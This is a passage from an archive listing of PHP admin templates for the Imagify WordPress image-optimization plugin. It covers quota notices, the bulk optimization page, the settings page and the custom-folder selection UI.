aria-hidden="true"></i><strong><?php esc_html_e( 'Oops, It\'s almost over!', 'imagify' ); ?></strong></p> <?php elseif ( 0 === $data['unconsumed_quota'] ) : ?> <p><i class="dashicons dashicons-warning" aria-hidden="true"></i><strong><?php esc_html_e( 'Oops, It\'s Over!', 'imagify' ); ?></strong></p> <?php endif; ?> <p><?php echo esc_html( $data['text'] ); ?></p> <p class="center txt-center text-center"><a class="imagify-upsell-admin-bar-button" href="<?php echo esc_url( $data['upgrade_link'] ); ?>" target="_blank"><?php echo esc_html( $data['button_text'] ); ?></a></p> <a href="<?php echo esc_url( get_imagify_admin_url( 'dismiss-notice', 'upsell-admin-bar' ) ); ?>" class="imagify-notice-dismiss imagify-upsell-dismiss notice-dismiss" title="<?php esc_attr_e( 'Dismiss this notice', 'imagify' ); ?>"><span class="screen-reader-text"><?php esc_html_e( 'Dismiss this notice', 'imagify' ); ?></span></a> </div> <?php endif; ?> </div> admin/admin-bar-pricing.php 0000644 00000000660 15174671777 0011660 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); if ( $data['upgrade_pricing'] ) : ?> <button data-nonce="<?php echo esc_attr( wp_create_nonce( 'imagify_get_pricing_' . get_current_user_id() ) ); ?>" data-target="#imagify-pricing-modal" type="button" class="imagify-get-pricing-modal imagify-modal-trigger imagify-admin-bar-upgrade-plan"> <?php esc_html_e( 'Upgrade Plan', 'imagify' ); ?> </button> <?php endif; ?> modal-settings-infos.php 0000644 00000004276 15174671777 0011362 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <div class="imagify-modal" id="imagify-more-info"> <div class="imagify-modal-content"> <p class="h2"><?php esc_html_e( 'You can choose three levels of compression', 'imagify' ); ?></p> <div class="imagify-columns"> <div class="col-1-3"> <p class="h3"><?php esc_html_e( 'Normal', 'imagify' ); ?></p> <p> <?php esc_html_e( 'This mode provides lossless optimization, your images will be optimized without any visible change.', 'imagify' ); ?> </p> <p> <?php esc_html_e( 'If you want the perfect quality for your images, we recommend you that mode.', 'imagify' ); ?> </p> <p> <em><?php esc_html_e( 'Note: the file size reduction will be less, compared to aggressive mode.', 'imagify' ); ?></em> </p> </div> <div class="col-1-3"> <p class="h3"><?php esc_html_e( 'Aggressive', 'imagify' ); ?></p> <p> <?php esc_html_e( 'This mode provides perfect optimization of your images without any significant quality loss.', 'imagify' ); ?> </p> <p> <?php esc_html_e( 'This will provide a drastic savings on the initial weight, with a small reduction in image quality. Most of the time it\'s not even noticeable.', 'imagify' ); ?> </p> <p> <?php esc_html_e( 'If you want the maximum weight reduction, we recommend using this mode.', 'imagify' ); ?> </p> </div> <div class="col-1-3"> <p class="h3"><?php esc_html_e( 'Ultra', 'imagify' ); ?></p> <p> <?php esc_html_e( 'This mode will apply all available optimizations for maximum image compression.', 'imagify' ); ?> </p> <p> <?php esc_html_e( 'This will provide a huge savings on the initial weight. Sometimes the image quality could be degraded a little.', 'imagify' ); ?> </p> <p> <?php esc_html_e( 'If you want the maximum weight reduction, and you agree to lose some quality on the images we recommend using this mode.', 'imagify' ); ?> </p> </div> </div> <button type="button" class="close-btn"> <i class="dashicons dashicons-no-alt" aria-hidden="true"></i> <span class="screen-reader-text"><?php esc_html_e( 'Close', 'imagify' ); ?></span> </button> </div> </div> <?php page-bulk.php 0000644 00000015042 15174671777 0007154 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; ?> <div class="wrap imagify-settings imagify-bulk"> <?php $this->print_template( 'part-bulk-optimization-header' ); ?> <div class="imagify-settings-section"> <div class="imagify-columns"> <div class="imagify-col col-overview"> <h2 class="imagify-h2-like"> <span class="dashicons dashicons-chart-line"></span> <?php esc_html_e( 'Overview', 'imagify' ); ?> </h2> <div class="imagify-columns"> <div class="imagify-col col-statistics"> <h3 class="screen-reader-text"><?php esc_html_e( 'Statistics', 'imagify' ); ?></h3> <div class="imagify-number-you-optimized"> <p> <span id="imagify-total-optimized-attachments" class="number"><?php echo esc_html( $data['already_optimized_attachments'] ); ?></span> <span class="text"> <?php printf( /* translators: you can use %s to include a line break. */ esc_html__( 'that\'s the number of original images%s you optimized with Imagify', 'imagify' ), '<br>' ); ?> </span> </p> </div> <div class="imagify-bars"> <p><?php esc_html_e( 'Original size', 'imagify' ); ?></p> <div class="imagify-bar-negative base-transparent right-outside-number"> <div id="imagify-original-bar" class="imagify-progress" style="width: 100%"><span class="imagify-barnb"><?php echo esc_html( $data['original_human'] ); ?></span></div> </div> <p><?php esc_html_e( 'Optimized size', 'imagify' ); ?></p> <div class="imagify-bar-primary base-transparent right-outside-number"> <div id="imagify-optimized-bar" class="imagify-progress" style="width: <?php echo esc_attr( max( 100 - $data['optimized_percent'], 0 ) ); ?>%"><span class="imagify-barnb"><?php echo esc_html( $data['optimized_human'] ); ?></span></div> </div> </div> <div class="imagify-number-you-optimized"> <p> <span id="imagify-total-optimized-attachments-pct" class="number"><?php echo esc_html( number_format_i18n( $data['optimized_percent'] ) ); ?>%</span> <span class="text"> <?php printf( /* translators: %s is a line break. */ esc_html__( 'that\'s the size you saved %sby using Imagify', 'imagify' ), '<br>' ); ?> </span> </p> </div> </div><!-- .imagify-col.col-statistics --> <div class="imagify-col col-chart"> <div class="imagify-chart-container imagify-overview-chart-container"> <canvas id="imagify-overview-chart" width="180" height="180" data-unoptimized="<?php echo esc_attr( $data['unoptimized_attachments'] ); ?>" data-optimized="<?php echo esc_attr( $data['optimized_attachments'] ); ?>" data-errors="<?php echo esc_attr( $data['errors_attachments'] ); ?>"></canvas> <div id="imagify-overview-chart-percent" class="imagify-chart-percent"><?php echo esc_html( min( $data['optimized_attachments_percent'], 100 ) ); ?><span>%</span></div> </div> <div id="imagify-overview-chart-legend"></div> <p class="imagify-global-optim-phrase imagify-clear"> <?php printf( /* translators: %s is a percentage. */ esc_html__( 'You optimized %s of your website\'s images', 'imagify' ), '<span class="imagify-total-percent">' . esc_html( min( $data['optimized_attachments_percent'], 100 ) ) . '%</span>' ); ?> </p> </div><!-- .imagify-col --> </div> </div><!-- .imagify-col.col-overview --> <div class="imagify-col imagify-account-info-col"> <?php if ( ( ! defined( 'IMAGIFY_HIDDEN_ACCOUNT' ) || ! IMAGIFY_HIDDEN_ACCOUNT ) && Imagify_Requirements::is_api_key_valid() ) { ?> <div class="imagify-options-title"> <div class="imagify-th-titles imagify-flex imagify-vcenter"> <span class="dashicons dashicons-admin-users"></span> <p class="imagify-meteo-title"> <?php esc_html_e( 'Your Account', 'imagify' ); ?> </p> </div> <a href="<?php echo esc_url( imagify_get_external_url( 'subscription' ) ); ?>" target="_blank"><?php esc_html_e( 'View your profile', 'imagify' ); ?></a> </div> <?php $this->print_template( 'part-upsell' ); ?> <?php } ?> </div><!-- .imagify-account-info-col --> </div><!-- .imagify-columns --> <?php $this->print_template( 'part-bulk-optimization-success' ); $this->print_template( 'part-bulk-optimization-table', $data ); if ( ! empty( $data['no-custom-folders'] ) ) { $this->print_template( 'part-bulk-optimization-newbie' ); } ?> <div class="imagify-bulk-submit imagify-flex imagify-vcenter"> <div class="imagify-pr2"> <p> <?php wp_nonce_field( 'imagify-bulk-optimize', 'imagifybulkuploadnonce' ); ?> <?php $disabled = ''; $class = ''; if ( false !== get_transient( 'imagify_wp_optimize_running' ) || false !== get_transient( 'imagify_custom-folders_optimize_running' ) ) { $disabled = 'disabled="disabled"'; $class = 'rotate'; } ?> <button id="imagify-bulk-action" type="button" class="button button-primary" <?php echo $disabled; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <span class="dashicons dashicons-admin-generic <?php echo esc_attr( $class ); ?>"></span> <span class="button-text"><?php esc_html_e( 'Imagif’em all', 'imagify' ); ?></span> </button> </p> </div> <?php if ( ! is_wp_error( get_imagify_max_image_size() ) ) { ?> <p> <?php printf( /* translators: %s is a file size. */ esc_html__( 'All images greater than %s (after resizing, if any) will be optimized when using a paid plan.', 'imagify' ), esc_html( imagify_size_format( get_imagify_max_image_size() ) ) ); ?> </p> <?php } ?> </div><!-- .imagify-bulk-submit --> </div><!-- .imagify-settings-section --> <?php if ( Imagify_Requirements::is_api_key_valid() ) { $display_infos = get_transient( 'imagify_bulk_optimization_infos' ); ?> <script type="text/html" id="tmpl-imagify-overquota-alert"> <?php $this->print_template( 'part-bulk-optimization-overquota-alert' ); ?> </script> <?php if ( ! $display_infos ) { ?> <script type="text/html" id="tmpl-imagify-bulk-infos"> <?php $this->print_template( 'part-bulk-optimization-infos', [ 'quota' => $data['unconsumed_quota'], 'quota_class' => $data['quota_class'], 'library' => ! empty( $data['groups']['library'] ), ] ); ?> </script> <?php } } ?> </div> page-settings.php 0000644 00000020770 15174671777 0010063 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; $settings = Imagify_Settings::get_instance(); $options = Imagify_Options::get_instance(); $option_name = $options->get_option_name(); $hidden_class = Imagify_Requirements::is_api_key_valid() ? '' : ' hidden'; $lang = imagify_get_current_lang_in( [ 'de', 'es', 'fr', 'it' ] ); /* Ads notice */ $plugins_list = get_plugins(); $notice = 'wp-rocket'; $user_id = get_current_user_id(); $notices = get_user_meta( $user_id, '_imagify_ignore_ads', true ); $notices = $notices && is_array( $notices ) ? array_flip( $notices ) : []; $wrapper_class = isset( $notices[ $notice ] ) || isset( $plugins_list['wp-rocket/wp-rocket.php'] ) ? 'imagify-have-rocket' : 'imagify-dont-have-rocket'; ?> <div class="wrap imagify-settings <?php echo esc_attr( $wrapper_class ); ?> imagify-clearfix"> <div class="imagify-col imagify-main"> <?php $this->print_template( 'part-settings-header' ); ?> <div class="imagify-main-content"> <form action="<?php echo esc_url( $settings->get_form_action() ); ?>" id="imagify-settings" method="post"> <div class="imagify-settings-main-content<?php echo Imagify_Requirements::is_api_key_valid() ? '' : ' imagify-no-api-key'; ?>"> <?php settings_fields( $settings->get_settings_group() ); ?> <?php wp_nonce_field( 'imagify-signup', 'imagifysignupnonce', false ); ?> <?php wp_nonce_field( 'imagify-check-api-key', 'imagifycheckapikeynonce', false ); ?> <?php if ( ! Imagify_Requirements::is_api_key_valid() ) { $this->print_template( 'part-settings-account' ); $this->print_template( 'part-settings-footer' ); } ?> <div class="imagify-col imagify-shared-with-account-col<?php echo esc_attr( $hidden_class ); ?>"> <div class="imagify-settings-section"> <h2 class="imagify-options-title"><?php esc_html_e( 'General Settings', 'imagify' ); ?></h2> <p class="imagify-setting-line"> <?php $settings->field_checkbox( [ 'option_name' => 'auto_optimize', 'label' => __( 'Auto-Optimize images on upload', 'imagify' ), 'info' => __( 'Automatically optimize every image you upload to WordPress.', 'imagify' ), ] ); ?> </p> <p class="imagify-setting-line"> <?php $settings->field_checkbox( [ 'option_name' => 'backup', 'label' => __( 'Backup original images', 'imagify' ), 'info' => __( 'Keep your original images in a separate folder before optimization process.', 'imagify' ), ] ); $backup_error_class = $options->get( 'backup' ) && ! Imagify_Requirements::attachments_backup_dir_is_writable() ? '' : ' hidden'; ?> <br/><strong id="backup-dir-is-writable" class="imagify-error<?php echo esc_attr( $backup_error_class ); ?>" data-nonce="<?php echo esc_attr( wp_create_nonce( 'imagify_check_backup_dir_is_writable' ) ); ?>"> <?php $backup_path = $this->filesystem->make_path_relative( get_imagify_backup_dir_path( true ) ); /* translators: %s is a file path. */ printf( esc_html__( 'The backup folder %s cannot be created or is not writable by the server, original images cannot be saved!', 'imagify' ), "<code>$backup_path</code>" ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </strong> </p> <p class="imagify-setting-line"> <?php $settings->field_checkbox( [ 'option_name' => 'lossless', 'label' => __( 'Lossless compression', 'imagify' ), 'info' => __( 'By default, Imagify optimizes your images by using a smart compression to get the best compression rate with an optimal quality.', 'imagify' ) . '<br><br>' . __( 'If you are a photographer or focus on the quality of your images rather than the performance, you may be interested in this option to make sure not a single pixel looks different in the optimized image compared with the original.', 'imagify' ), ] ); ?> </p> </div> </div> <?php if ( Imagify_Requirements::is_api_key_valid() ) { ?> <div class="imagify-col imagify-account-info-col"> <?php $this->print_template( 'part-settings-account' ); ?> </div> <?php } ?> </div> <div class="imagify-settings-main-content<?php echo esc_attr( $hidden_class ); ?>"> <div class="imagify-settings-section imagify-clear"> <h2 class="imagify-options-title"><?php esc_html_e( 'Optimization', 'imagify' ); ?></h2> <?php $this->print_template( 'part-settings-webp' ); $this->print_template( 'part-settings-library' ); $this->print_template( 'part-settings-custom-folders' ); ?> </div> </div> <div class="imagify-settings-main-content imagify-pb0<?php echo esc_attr( $hidden_class ); ?>"> <?php if ( ! $data['hide_plugin_family'] ) : ?> <div class="imagify-settings-section imagify-clear imagify-plugin-family-section"> <div> <h2 class="imagify-options-title"><?php esc_html_e( 'Our Plugins', 'imagify' ); ?></h2> <p class="imagify-options-subtitle"><?php esc_html_e( 'Build better, faster, safer', 'imagify' ); ?></p> <p class=""> <?php esc_html_e( 'Beyond Imagify, there\'s a whole family of plugins designed to help you build better, faster, and safer websites. Each one is crafted with our unique blend of expertise, simplicity, and outstanding support. Combine our plugins below to build incredible WordPress websites!', 'imagify' ); ?> </p> <?php foreach ( $data['plugin_family'] as $plugin_name => $plugin_data ) : ?> <div class="imagify-plugin-family-col"> <div class="imagify-card"> <div class="imagify-card-header"> <div class="imagify-card-logo"> <img src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL . $plugin_data['logo']['file'] ); ?>" loading="lazy" style="width: <?php echo esc_attr( $plugin_data['logo']['width'] ); ?>"> </div> <h4><?php echo esc_html( $plugin_data['title'] ); ?></h4> </div> <div class="imagify-card-body"> <p> <?php echo esc_html( $plugin_data['desc'] ); ?> </p> </div> <div class="imagify-card-footer"> <?php if ( '#' === $plugin_data['cta']['url'] ) : ?> <span><?php echo esc_html( $plugin_data['cta']['text'] ); ?></span><span class="dashicons dashicons-yes"></span> <?php else : ?> <a href="<?php echo esc_url( $plugin_data['cta']['url'] ); ?>" class="imagify-card-btn imagify-btn-cta" <?php echo 'Get it Now' === $plugin_data['cta']['text'] ? 'target="_blank"' : ''; ?> rel="noopener"><?php echo esc_html( $plugin_data['cta']['text'] ); ?></a> <a href="<?php echo esc_url( $plugin_data['link'] ); ?>" target="_blank" rel="noopener"><?php echo esc_html( 'Learn more' ); ?></a> <?php endif; ?> </div> </div> </div> <?php endforeach; /** * List of partners affected by this option. * For internal use only. * * @since 1.8.2 * @author Grégory Viguier * * @param array $partners An array of partner names. * @return array */ $partners = apply_filters( 'imagify_deactivatable_partners', [] ); if ( $partners ) { ?> <h2 class="imagify-options-title"><?php esc_html_e( 'Partners', 'imagify' ); ?></h2> <p class="imagify-options-subtitle" id="imagify-partners-label"> <span class="imagify-info"> <span class="dashicons dashicons-info"></span> <a href="#imagify-partners-info" class="imagify-modal-trigger"><?php esc_html_e( 'More info?', 'imagify' ); ?></a> </span> </p> <p> <?php $settings->field_checkbox( [ 'option_name' => 'partner_links', 'label' => __( 'Display Partner Links', 'imagify' ), ] ); ?> </p> <?php } ?> </div> </div> <?php endif; ?> <?php if ( Imagify_Requirements::is_api_key_valid() ) { $this->print_template( 'part-settings-footer' ); } ?> </div> </form> </div> </div> <?php $this->print_template( 'part-rocket-ad' ); $this->print_template( 'modal-settings-infos' ); $this->print_template( 'modal-settings-partners-infos' ); $this->print_template( 'modal-settings-visual-comparison' ); ?> </div> notice-bulk-optimization-complete.php 0000644 00000002315 15174671777 0014052 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); delete_transient( 'imagify_bulk_optimization_complete' ); delete_transient( 'imagify_bulk_optimization_result' ); ?> <div class="notice notice-success is-dismissible"> <div class="imagify-notice-bulk-complete"> <div class="imagify-notice-bulk-complete-logo"> <img src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL . 'imagify.svg' ); ?>" width="96" height="96" alt="Imagify" /> </div> <div> <p><strong><?php esc_html_e( 'Well done!', 'imagify' ); ?></strong></p> <p><?php esc_html_e( 'The bulk optimization is now complete.', 'imagify' ); ?></p> <p> <?php printf( // translators: %1$s = number of images optimized, %2$s = size saved, %3$s = total size, %4$s = opening link tag, %5$s = closing link tag. esc_html__( 'We have optimized %1$s images and you have just saved %2$s out of %3$s. %4$sCheck your stats%5$s' ), esc_html( $data['total'] ), esc_html( $data['optimized_size'] ), esc_html( $data['original_size'] ), '<a href="' . esc_url( $data['bulk_page_url'] ) . '">', '</a>' ); ?> </p> </div> <?php $this->print_template( 'notice-footer', [ 'dismissible' => 'bulk-optimization-complete' ] ); ?> part-documentation-link.php 0000644 00000003373 15174671777 0012061 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <p class="imagify-documentation-link-box"> <span class="imagify-documentation-link-icon" aria-hidden="true"> <svg viewBox="0 0 23 31" xmlns="http://www.w3.org/2000/svg"><g fill="none" fill-rule="nonzero"><g fill="#40b1d0"><path d="m22.361 31h-21.722c-.353 0-.639-.289-.639-.646v-21.958c0-.172.068-.336.187-.457l7.667-7.75c.12-.12.282-.189.452-.189h14.06c.353 0 .639.289.639.646v29.708c0 .357-.286.646-.639.646m-21.08-1.292h20.444v-28.417h-13.152l-7.292 7.372v21.05"/><path d="m8.306 9.04h-7.667c-.353 0-.639-.289-.639-.646 0-.357.286-.646.639-.646h7.03v-7.104c0-.357.286-.646.639-.646.353 0 .639.289.639.646v7.75c0 .357-.286.646-.639.646"/></g><g fill="#f2f5f7"><path d="m18.375 11h-13.75c-.345 0-.625-.224-.625-.5 0-.276.28-.5.625-.5h13.75c.345 0 .625.224.625.5 0 .276-.28.5-.625.5"/><path d="m19.333 7h-6.667c-.368 0-.667-.224-.667-.5 0-.276.299-.5.667-.5h6.667c.368 0 .667.224.667.5 0 .276-.299.5-.667.5"/><path d="m18.375 15h-13.75c-.345 0-.625-.224-.625-.5 0-.276.28-.5.625-.5h13.75c.345 0 .625.224.625.5 0 .276-.28.5-.625.5"/><path d="m18.375 19h-13.75c-.345 0-.625-.224-.625-.5 0-.276.28-.5.625-.5h13.75c.345 0 .625.224.625.5 0 .276-.28.5-.625.5"/><path d="m18.375 23h-13.75c-.345 0-.625-.224-.625-.5 0-.276.28-.5.625-.5h13.75c.345 0 .625.224.625.5 0 .276-.28.5-.625.5"/><path d="m18.375 27h-13.75c-.345 0-.625-.224-.625-.5 0-.276.28-.5.625-.5h13.75c.345 0 .625.224.625.5 0 .276-.28.5-.625.5"/></g></g></svg> </span> <span> <?php esc_html_e( 'Need help or have questions?', 'imagify' ); ?><br/> <a class="imagify-documentation-link" href="<?php echo esc_url( imagify_get_external_url( 'documentation' ) ); ?>" target="_blank"><?php esc_html_e( 'Check our documentation.', 'imagify' ); ?></a> </span> </p> <?php notice-bulk-optimization-running.php 0000644 00000001113 15174671777 0013715 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <div class="notice notice-success is-dismissible"> <div> <p> <?php printf( // translators: %1$s = opening strong tag, %2$s = closing strong tag, %3$s = opening link tag, %4$s = closing link tag. '%1$sImagify%2$s: the bulk optimization is currently running. Check status %3$shere%4$s.', '<strong>', '</strong>', '<a href="' . esc_url( $data['bulk_page_url'] ) . '">', '</a>' ); ?> </p> <?php $this->print_template( 'notice-footer', [ 'dismissible' => 'bulk-optimization-complete' ] ); ?> notice-wrong-api-key.php 0000644 00000001471 15174671777 0011256 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; $this->print_template( 'notice-header', [ 'title' => esc_html__( 'Your API key isn\'t valid!', 'imagify' ), 'classes' => [ 'error' ], ] ); ?> <p> <?php wp_nonce_field( 'imagify-signup', 'imagifysignupnonce', false ); ?> <?php printf( /* translators: 1 and 2 are link tag starts, 3 is a link tag end. */ esc_html__( 'Go to your Imagify account page to get your API Key and specify it on %1$syour settings%3$s or %2$screate an account for free%3$s if you don\'t have one yet.', 'imagify' ), '<a href="' . esc_url( get_imagify_admin_url() ) . '">', '<a id="imagify-signup" target="_blank" href="' . esc_url( imagify_get_external_url( 'register' ) ) . '">', '</a>' ); ?> </p> <?php $this->print_template( 'notice-footer', [ 'dismissible' => 'wrong-api-key', ] ); part-bulk-optimization-table-row-folder-type.php 0000644 00000007210 15174671777 0016052 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; ?> <tr class="imagify-row-folder-type" data-group-id="<?php echo esc_attr( $data['group_id'] ); ?>" data-context="<?php echo esc_attr( $data['context'] ); ?>"> <td class="imagify-cell-checkbox"> <p> <span class="imagify-cell-checkbox-loader <?php echo esc_attr( $data['spinner_class'] ); ?>" <?php echo $data['spinner_aria']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <svg width="27" height="28" viewBox="0 0 27 28" xmlns="http://www.w3.org/2000/svg"><g fill="none" fill-rule="evenodd"><path d="m13.3.254c-.773 0-1.4.627-1.4 1.4l0 4.2c0 .773.627 1.4 1.4 1.4.773 0 1.4-.627 1.4-1.4l0-4.2c0-.773-.627-1.4-1.4-1.4m-8.422 3.478c-.358 0-.711.142-.984.416-.547.547-.547 1.444 0 1.991l2.975 2.953c.547.547 1.422.547 1.969 0 .547-.547.547-1.422 0-1.969l-2.953-2.975c-.273-.273-.648-.416-1.01-.416m16.844 0c-.358 0-.733.142-1.01.416l-2.953 2.975c-.547.547-.547 1.422 0 1.969.547.547 1.422.547 1.969 0l2.975-2.953c.547-.547.547-1.444 0-1.991-.273-.273-.626-.416-.984-.416m-20.322 8.422c-.773 0-1.4.627-1.4 1.4 0 .773.627 1.4 1.4 1.4l4.2 0c.773 0 1.4-.627 1.4-1.4 0-.773-.627-1.4-1.4-1.4l-4.2 0m19.6 0c-.773 0-1.4.627-1.4 1.4 0 .773.627 1.4 1.4 1.4l4.2 0c.773 0 1.4-.627 1.4-1.4 0-.773-.627-1.4-1.4-1.4l-4.2 0m-13.147 5.447c-.358 0-.711.142-.984.416l-2.975 2.953c-.547.547-.547 1.444 0 1.991.547.547 1.444.547 1.991 0l2.953-2.975c.547-.547.547-1.422 0-1.969-.273-.273-.626-.416-.984-.416m10.894 0c-.358 0-.711.142-.984.416-.547.547-.547 1.422 0 1.969l2.953 2.975c.547.547 1.444.547 1.991 0 .547-.547.547-1.444 0-1.991l-2.975-2.953c-.273-.273-.626-.416-.984-.416m-5.447 2.253c-.773 0-1.4.627-1.4 1.4l0 4.2c0 .773.627 1.4 1.4 1.4.773 0 1.4-.627 1.4-1.4l0-4.2c0-.773-.627-1.4-1.4-1.4" fill="#40b1d0" fill-rule="nonzero"/></g></svg> </span> <span class="imagify-cell-checkbox-box <?php echo esc_attr( $data['checkbox_class'] ); ?>" <?php echo $data['checkbox_aria']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>> <input id="cb-select-<?php echo esc_attr( $data['group_id'] ); ?>" type="checkbox" name="group[]" checked="checked" value="<?php echo esc_attr( $data['group_id'] ); ?>" /> <label for="cb-select-<?php echo esc_attr( $data['group_id'] ); ?>"></label> </span> </p> </td> <td class="imagify-cell-title"> <label for="cb-select-<?php echo esc_attr( $data['group_id'] ); ?>"><?php echo esc_html( $data['title'] ); ?></label> </td> <td class="imagify-cell-count-optimized"> <?php echo $data['count-optimized']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </td> <td class="imagify-cell-count-errors"> <?php echo $data['count-errors']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </td> <td class="imagify-cell-optimized-size-size"> <?php echo $data['optimized-size']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </td> <td class="imagify-cell-original-size-size"> <?php echo $data['original-size']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </td> <td class="imagify-cell-level"> <?php $this->print_template( 'input/selector', [ 'current_label' => esc_html__( 'Current level:', 'imagify' ), 'name' => 'level[' . $data['group_id'] . ']', 'value' => $data['level'], 'values' => [ 0 => imagify_get_optimization_level_label( 0, '%ICON% %s' ), 2 => imagify_get_optimization_level_label( 2, '%ICON% %s' ), ], ] ); ?> </td> </tr> <tr> <td class="imagify-bulk-table-footer" colspan="7"> <?php echo $data['footer']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> </td> </tr><!-- .imagify-bulk-table-footer --> part-files-list-header.php 0000644 00000000220 15174671777 0011542 0 ustar 00 <?php defined( 'ABSPATH' ) || die( 'Cheatin’ uh?' ); ?> <h1><?php esc_html_e( 'Other Media optimized by Imagify', 'imagify' ); ?></h1> <?php part-settings-custom-folders.php 0000644 00000016336 15174671777 0013064 0 ustar 00 <?php defined( 'ABSPATH' ) || exit; if ( ! imagify_can_optimize_custom_folders() ) { return; } // Get folders, remove excluded ones, sort them, add labels. $custom_folders = Imagify_Folders_DB::get_instance()->get_active_folders_column( 'path' ); $themes = []; if ( $custom_folders ) { $custom_folders = array_combine( $custom_folders, $custom_folders ); $custom_folders = array_map( [ 'Imagify_Files_Scan', 'remove_placeholder' ], $custom_folders ); $custom_folders = array_map( 'trailingslashit', $custom_folders ); $custom_folders = array_filter( $custom_folders, [ 'Imagify_Files_Scan', 'is_path_autorized' ] ); } if ( $custom_folders ) { $custom_folders = array_map( [ $this->filesystem, 'make_path_relative' ], $custom_folders ); $custom_folders = array_map( 'untrailingslashit', $custom_folders ); natcasesort( $custom_folders ); $custom_folders = array_map( 'trailingslashit', $custom_folders ); if ( isset( $custom_folders['{{ROOT}}/'] ) ) { $custom_folders['{{ROOT}}/'] = __( 'Site\'s root', 'imagify' ); } } // Current used theme(s). if ( ! is_network_admin() ) { $current_theme = wp_get_theme(); $themes_not_added = []; foreach ( [ $current_theme, $current_theme->parent() ] as $theme ) { if ( ! $theme || ! $theme->exists() ) { continue; } $theme_path = trailingslashit( $theme->get_stylesheet_directory() ); if ( ! Imagify_Files_Scan::is_path_forbidden( $theme_path ) ) { $theme = [ 'name' => $theme->display( 'Name' ), 'path' => Imagify_Files_Scan::add_placeholder( $theme_path ), 'label' => $this->filesystem->make_path_relative( $theme_path ), ]; $themes[ $theme['path'] ] = $theme; $added = false; $rel_path = strtolower( $theme['label'] ); foreach ( $custom_folders as $path_name => $label ) { if ( strpos( $rel_path, strtolower( $label ) ) === 0 ) { $added = true; break; } } if ( ! $added ) { $themes_not_added[] = $theme['path']; } } } $themes_count = count( $themes ); } ?> <div class="imagify-custom-folders-section"> <div class="imagify-col" id="custom-folders"> <h3 class="imagify-options-subtitle"><?php esc_html_e( 'Custom Folders', 'imagify' ); ?></h3> <div id="imagify-custom-folders" class="hide-if-no-js imagify-mt2"> <?php if ( $themes ) { ?> <div class="imagify-folder-themes-suggestion"> <div class="imagify-fts-header imagify-flex imagify-vcenter"> <span><i class="dashicons dashicons-info"></i></span> <p> <?php $theme = reset( $themes ); /* translators: %s is a theme name. */ printf( esc_html__( 'You’re using %s', 'imagify' ), '<strong>' . esc_html( $theme['name'] ) . '</strong>' ); if ( $themes_count > 1 ) { $theme = end( $themes ); echo '<br>'; /* translators: %s is a theme name. */ printf( esc_html__( 'child theme of %s', 'imagify' ), '<strong>' . esc_html( $theme['name'] ) . '</strong>' ); } ?> </p> </div> <div class="imagify-fts-content"> <?php if ( ! $themes_not_added ) { ?> <p class="imagify-mb0"><?php echo esc_html( _n( 'Your theme is already in the optimization process. All Good!', 'Your themes are already in the optimization process. All Good!', $themes_count, 'imagify' ) ); ?></p> <?php } elseif ( count( $themes_not_added ) !== $themes_count ) { $theme = reset( $themes_not_added ); $theme = $themes[ $theme ]; ?> <p><?php esc_html_e( 'Only one of your current themes is in the optimization process, would you like to also optimize the other one?', 'imagify' ); ?></p> <button id="imagify-add-themes-to-custom-folder" class="button imagify-button-clean imagify-add-themes" type="button" data-theme="<?php echo esc_attr( $theme['path'] ) . '#///#' . esc_attr( $theme['label'] ); ?>"> <span class="dashicons dashicons-plus"></span> <span class="button-text"> <?php /* translators: %s is a theme name. */ printf( esc_html__( 'Add %s to optimization', 'imagify' ), '<strong>' . esc_html( $theme['name'] ) . '</strong>' ); ?> </span> </button> <?php } else { foreach ( $themes as $path_name => $theme ) { $themes[ $path_name ] = esc_attr( $theme['path'] ) . '#///#' . esc_attr( $theme['label'] ); } ?> <p><?php echo esc_html( _n( 'Would you like to optimize your theme?', 'Would you like to optimize your themes?', $themes_count, 'imagify' ) ); ?></p> <button id="imagify-add-themes-to-custom-folder" class="button imagify-button-clean imagify-add-themes" type="button" data-theme="<?php echo implode( '" data-theme-parent="', $themes ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>"> <span class="dashicons dashicons-plus"></span> <span class="button-text"><?php echo esc_html( _n( 'Add the theme to optimization', 'Add the themes to optimization', $themes_count, 'imagify' ) ); ?></span> </button> <?php } ?> </div> </div> <?php } ?> <p class="imagify-kindof-title imagify-flex imagify-vcenter"> <span><?php esc_html_e( 'Select folders for optimization.', 'imagify' ); ?></span> <span> <button id="imagify-add-custom-folder" class="button imagify-button-mini imagify-button-primary imagify-add-custom-folder" type="button"> <span class="dashicons dashicons-plus"></span> <span class="button-text"><?php esc_html_e( 'Add folders', 'imagify' ); ?></span> </button> <img class="imagify-loader" aria-hidden="true" alt="<?php esc_attr_e( 'Loading...', 'imagify' ); ?>" src="<?php echo esc_url( IMAGIFY_ASSETS_IMG_URL . 'loader-balls.svg' ); ?>" width="38" height="24"/> </span> </p> <fieldset id="imagify-custom-folders-selected"> <?php if ( $custom_folders ) { foreach ( $custom_folders as $placeholder => $label ) { $this->print_template( 'part-settings-row-custom-folder', [ 'value' => $placeholder, 'label' => $label, ] ); } } ?> </fieldset> <p> <?php printf( /* translators: 1 and 2 are <strong> opening and closing tags. */ esc_html__( '%1$sSelecting a folder will also optimize images in sub-folders.%2$s The only exception is "Site’s root": when selected, only images that are directly 